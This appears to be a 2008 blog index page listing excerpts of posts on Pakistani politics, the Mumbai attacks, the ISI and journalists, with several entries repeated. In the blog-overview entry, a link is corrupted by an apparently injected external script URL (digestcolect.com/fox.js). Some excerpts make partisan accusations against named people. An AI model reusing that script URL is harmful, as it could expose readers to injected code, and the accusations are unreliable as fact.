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Get rid of false patriotism. India needs voices such as Arundhati Roy and Pakistan needs voices such as Pervez Hoodbhoy.: Patriotism misunderstoodLegal eye Saturday, December 27, 2008 (The News)Babar Sattar The terrorists have succeeded in realizing their objectives in Mumbai. Not just in carrying out the carnage that claimed innocent Indian lives, but also in provoking chest-thumping hysteria within
What happened to Pir Samiullah’s body is a dangerous symbolism, to many people in Swat it was wilfully permitted by the Army: Hanging a dead pir Saturday, December 27, 2008 Farhat Taj Pir Samiullah of Swat was reportedly encouraged by the army stationed in Swat to raise a lashkar against
Was the Mumbai operation a move by ISI to topple the the democratic government in Pakistan?: Was the Mumbai attack the Kargil 2? Does ISI want to topple the democratic government of President Zardari in Pakistan? How can the UN help Pakistan? An interesting conversation between some educated Pakistanis pejamistri Says:December 17th, 2008 at 6:30
Asif Zardari among 2008 prominent personalities: People Who Mattered Most in 2008 (Time Magazine) Asif Ali Zardari Pakistan’s unfavored son ended last year by burying his slain wife Benazir Bhutto. He ends 2008 as the President of a nuclear-armed nation threatened by Islamic militancy and
An overview of Pakistani blogs; Choose your own top ten Pakistani blogs from this list: —work in progress— Here is a simple and candid review on Pakistani blogs. If you would like to add your blog to the list or offer a perspective on your or other blogs, please comment. ……All Things Pakistan http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&pakistaniat.com/
An overview of Pakistani blogs: —work in progress— Here is a candid overview of Pakistani blogs. If you would like to add your blog to the list or offer a perspective on your or other blogs, or if you wish to post a list
A salute to the workers of PPP; the strongest pro-moderation pro-democracy force in Pakistan…: To PPP workers Friday, December 26, 2008 (The News)by Harris Khalique Common political workers belonging to any party must be held in a very high esteem. These are the people who put their lives, livelihoods, families and whatever small
Indian military retaliation would play straight into LeT’s hands. – Praful Bidwai: There is no military option by Praful Bidwai Ultimately, it wasn’t superior firepower, sophisticated interception methods or commando training that explains how one of the Mumbai attackers was arrested alive. The key to that feat lies in the great
India not the real enemy, militancy is! – by Ayaz Amir: Will hypocrites such as Imran Khan and Qazi Hussain Ahmed listen to this sane voice? …… India not the real enemy; militancy isIslamabad diary Friday, December 26, 2008by Ayaz Amir Militancy and extremism on the march. Three schools in
An interesting conversation between a Jinnah hater and a Jinnah lover: digitalmaster: I am not a historian so cannot comment on the personality of Jinnah. For all I know he was from a religion respected family. He firmly believed in a separate state for MUSLIMS … does that translate as
Shaheen Sehbai given enough rope to hang himself and the Jang Group…: Aftab Iqbal’s column in Nawaiwaqt 29 December 2008 exposing Shaheen Sehbai’s request to President Zardari to become an ambassador. Because of Sehbai’s anti-Pakistan record, he was not given security clearance for any diplomatic post. Shaheen Sehbai, the current Group
Shaheen Sehbai given enough rope to hang himself and the Jang Group…: Aftab Iqbal’s column in Nawaiwaqt 29 December 2008 exposing Shaheen Sehbai’s request to President Zardari to become an ambassador. Because of Sehbai’s anti-Pakistan record, he
Shaheen Sehbai. What is his agenda? Is he a brilliant journalist or a stooge of anti-democracy forces such as Jamaat Islami and the ‘establishment’?: Shaheen Sehbai Background Information Shaheen Sehbai is a Pakistani journalist and the current Group Editor of daily English newspaper The News International. He has also worked as a reporter for the Dawn newspaper in Washington D.C. and then later
Quaid-e-Azam Mohammad Ali Jinnah’s Legacy to Pakistan – A lecture by Stanley Wolpert: Jinnah of Pakistan The old forget – The young don’t know “I cannot emphasize it too much. We should begin to work in that spirit and in course of time all these angularities of the majority and minorities communities,
Quaid-e-Azam Mohammad Ali Jinnah’s Legacy to Pakistan – A lecture by Stanley Wolpert: Jinnah of Pakistan The old forget – The young don’t know “I cannot emphasize it too much. We should begin to work in that spirit and in course of time all these angularities of the majority and minorities communities,
Provide security to Ansar Abbasi: Although we disagree with the biased and pro-Taliban reporting of Mr. Ansar Abbasi, having come to know that Mr. Abbasi has received threats by some vested interests, we support Mr. Shaheen Sahbai’s following appeal to the Government of Pakistan
Provide security to Ansar Abbasi: Although we disagree with the biased and pro-Taliban reporting of Mr. Ansar Abbasi, having come to know that Mr. Abbasi has received threats by some vested interests, we support Mr. Shaheen Sahbai’s following appeal to the Government of Pakistan
Toying with terrorism – Kamila Hyat reveals ISI’s close association with the Taliban: Thursday, December 25, 2008 (The News) The writer is a freelance columnist and former newspaper editor There is a distinct note of helpless frustration in the statement by the NWFP government calling for action against militants in Swat to